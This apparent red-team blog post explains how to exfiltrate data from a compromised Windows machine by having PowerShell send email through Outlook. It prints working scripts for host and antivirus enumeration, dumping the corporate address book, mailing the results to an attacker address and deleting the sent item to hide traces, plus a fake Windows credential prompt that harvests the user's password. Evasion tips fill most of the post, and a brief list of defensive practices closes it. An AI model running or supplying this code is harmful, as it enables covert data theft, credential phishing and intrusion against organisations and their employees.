Exfiltration Using Powershell & Outlook

Introduction

When an attacker compromises an end-point system in an organization, he needs some sort of confirmation that:

  • his code was executed on the targeted system
  • he is able to send data out of the organization without raising any alarm with the SOC

Simple innocuous data from the compromised host to the attacker’s controlled system – sometimes known as the beacon – helps the attacker fulfill the two goals mentioned above.

The channel the beacon uses to communicate with the outside world does not necessarily have to be a direct communication link with the attacker’s system (Command and Control Center – C2C).

Attackers have found innovative ways to exploit weak internal controls such that the beacon can send and receive commands from the C2C covertly.

Exploiting Email Services

During Red Team Assessments for our clients, we usually face the challenge of not knowing for sure if our payload executed on the victim’s machine or was it blocked by an AV or other security controls. In such cases, having a reliable beacon ‘ping’ back to you about it’s ‘alive’ status is imperative.

An easy way to build such a beacon without raising too many red flags is by utilizing Microsoft’s own utilities – PowerShell and MS-Outlook.

  • PowerShell is installed by default on Windows OS since Windows 7 versions. It is the new favorite toy for hackers.
  • Most corporate environments have Microsoft Outlook as their default email client

We can use PowerShell to craft an email and send it via MS Outlook using the MAPI protocol (if MS-Exchange server is configured) – outbound to our C2C server. Do note that this a very legitimate functionality provided by Microsoft that is being abused here.

[code lang=”powershell”]
Add-Type -Assembly ‘Microsoft.Office.Interop.Outlook’ -PassThru;
$Outlook = New-Object -ComObject Outlook.Application;
$Mail = $Outlook.CreateItem(0);
$Mail.Recipients.Add(‘[email protected]’);
$Mail.Subject=’Data Extracted’;
$Mail.Body = $encodedCommand;
$Mail.Send();
[/code]

An enhanced version of such a PowerShell script can also be used to gather data (as part of post-exploitation) and ‘email’ that data back to the attacker. For example, we modified the PS script to:

  • Enumerate system information (processes, username, domain and system name)

[code lang=”powershell”]

$output = [string](Get-WmiObject -Class Win32_ComputerSystem -ErrorAction SilentlyContinue | Select-Object -Property PSComputerName, SystemType, TotalPhysicalMemory, UserName, Manufacturer, HypervisorPresent);

$output += [string](Get-WmiObject -Class Win32_OperatingSystem -ErrorAction SilentlyContinue| Select-Object -Property Caption);

foreach ($i in Get-Process -ErrorAction SilentlyContinue){
$output += $i.Name+’;’;
};

foreach ($i in Get-Service -ErrorAction SilentlyContinue){
$output += $i.Name+’,’+$i.Status+’;’
};

foreach ($i in Get-WmiObject Win32_LogicalDisk -ErrorAction SilentlyContinue){
$output += $i.Name+’,’+$i.Description+’,’+$i.Size+’;’
};

foreach ($i in Get-WmiObject Win32_NetworkAdapterConfiguration | Select-Object IPAddress, Description){
$output += $i.IPAddress+’,’+$i.Description+’;’
}

foreach ($i in get-wmiobject win32_networkadapter -filter ‘netconnectionstatus = 2′){
$output += $i.name+’,’+$i.MacAddress+’,’+$i.AdapterType+’;’
}

$output += (Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct -ErrorAction SilentlyContinue).displayName;
$encodedCommand = encode($output);

[/code]

  • Enumerate gaps in the web proxy
  • Dump the corporate address book

[code lang=”powershell”]

function get_contacts(){
$outlook = New-Object -ComObject Outlook.Application;
$item = $outlook.Session.GetGlobalAddressList().AddressEntries;
$contacts = ”;
Foreach ($i in $item){
$contacts += $i.Name +’,’+ $i.GetExchangeUser().MobileTelephoneNumber+’,’+ $i.GetExchangeUser().PrimarySmtpAddress+ ‘;’
};
return $contacts;
}
[/code]

  • Capture user’s Windows credentials (read below)

Caveats and Pointers

For this vector to be successful, the following points have to be taken into consideration:

  1. PowerShell’s execution policy has to be bypassed. This is very trivial. Scott Sutherland has posted an awesome blogpost on 15 ways to bypass PowerShell Execution Policy
  1. The victim should have outbound email access. The target email address to which the beacon will send the email should be valid. It should not be a blacklisted domain. You might have better success if you create a custom email domain, instead of using free email services like Google, Yahoo, Outlook. If the email fails to go through, the victim will see a ‘bounce’ email in their inbox – which is a very BIG red flag and is most certainly going to burn your beacon and also alert the SOC team. You can code your beacon to verify the contents of the victim’s ‘Sent’ items and see if they were previously able to send emails to external domains.
  1. Clearing your tracks. Every time the beacon sends an email back to the attacker, a trace is left in the ‘sent’ items folder in Outlook. To fix this issue, we wait a few seconds, before accessing the ‘Sent’ folder and deleting the first item in the list (this is mostly the email the beacon sent). It can be made fool-proof by actually reading the subject-line of the email message, before deleting the email.

[code lang=”powershell”]
$objOutlook = New-Object -ComObject Outlook.Application;
$objNamespace = $objOutlook.GetNamespace(‘MAPI’);
$objFolder = $objNamespace.GetDefaultFolder(5);
$colItems = $objFolder.Items;
$colItems.Remove($colItems.Count);
[/code]

  1. Break large data into smaller chunks: If you have large content which has to be ex-filtrated, it is recommended to break the data into smaller chunks and then send it outbound. Many organizations have size limits on attachment and in some cases also have size limits on the email body.

Post-Exploitation Fun

PowerShell capabilities allow it to go much beyond a simple beacon. We can use PowerShell to gather lots of information about the victim system and its neighborhood – this information is vital – and can help in privilege escalation as part of a RedTeam activity. A persistent backdoor can allow us to make (Outlook) email communication a medium to send commands to the victim’s machine, effectively making the corporate machine a remotely controlled bot.

A very popular vector is to simply social engineer the victim to ‘submit’ their Windows credentials to our payload.  Matt Nelson has provided a detailed write-up on this topic .To make the scenario more realistic, we launch our PS payload about 5 mins after we had managed to obtain code execution on the target. In such a scenario, the victim would not be able to make any co-relation between our malware and the Windows password prompt.

[code lang=”powershell”]

function Invoke-LoginPrompt{
$cred = $Host.ui.PromptForCredential(‘Windows Security’, ‘Please enter user credentials’, $env:userdomain+’\’+$env:username,”);
$username = $env:username;
$domain = $env:userdomain;
$full = $domain + ‘\’ + $username;
$password = $cred.GetNetworkCredential().password;
Add-Type -assemblyname System.DirectoryServices.AccountManagement;
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine);
while($DS.ValidateCredentials($full, $password) -ne $True){
$cred = $Host.ui.PromptForCredential(‘Windows Security’, ‘Invalid Credentials, Please try again’, $env:userdomain+’\’+$env:username,”);
$username = $env:username;
$domain = $env:userdomain;
$full = $domain + ‘\’ + $username;
$password = $cred.GetNetworkCredential().password;
Add-Type -assemblyname System.DirectoryServices.AccountManagement;
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine);
$DS.ValidateCredentials($full, $password) | out-null;
}
$output = $cred.GetNetworkCredential().UserName, $cred.GetNetworkCredential().Domain, $cred.GetNetworkCredential().Password;
return $output;
}

[/code]

 

At this stage some of you might be wondering ‘how do we get PowerShell code to execute on the victim’s machine in the first place?’

It’s not very difficult if you think about it – you simply have to exploit human curiosity and social engineer your way through corporate controls. Microsoft Office based macro documents remain a popular technique for payload delivery. Most email gateways would raise an alert for email attachments containing macro-based documents. However, simple tweaks to the macro code can easily bypass such signatures.

You can find our full code at https://bitbucket.org/networkintelligence/ps-outlook-exfil/

All said and done, PowerShell is a very powerful post-exploitation tool. There are some awesome frameworks built around it:

Do check out Matt Nelson’s blog (https://enigma0x3.wordpress.com/) for some great ideas to use Powershell in your RedTeam assessments

Recommended Practices

The challenge over here is detecting something which uses legitimate Windows system functions and user privileges to ex-filtrate data. In this regard, a holistic approach needs to be brought in place. Some good practices are listed on BlueCoat’s blogpost:

  • Prevent .zip (and other potentially malicious file formats – .docm, .ps1, .psm1 etc.) file downloads
  • Disable Macro execution on end-user machines. Any user given the privileges to execute macro-files should be under additional monitoring
  • PowerShell execution should be disallowed via GPO
  • Monitor user-agent strings for web requests via the proxy. A non-standard browser user-agent string may indicate potentially malicious beacon request. A PowerShell based web request has no user-agent string, whereas a direct link from MS Office products contain the keyword ‘ms-office’.
User-Agent String while making HTTP requests from Powershell
User-Agent String while making HTTP requests from Powershell
User-Agent String while making HTTP requests from MS-Office products
User-Agent String while making HTTP requests from MS-Office products
User-Agent String while making HTTP requests from Browser
User-Agent String while making HTTP requests from Browser

 

Special thanks to my colleague Srikanth Suresh for helping put together the code for this activity.

  •  
  •  
  •  
  •  
  •  
  •  
  •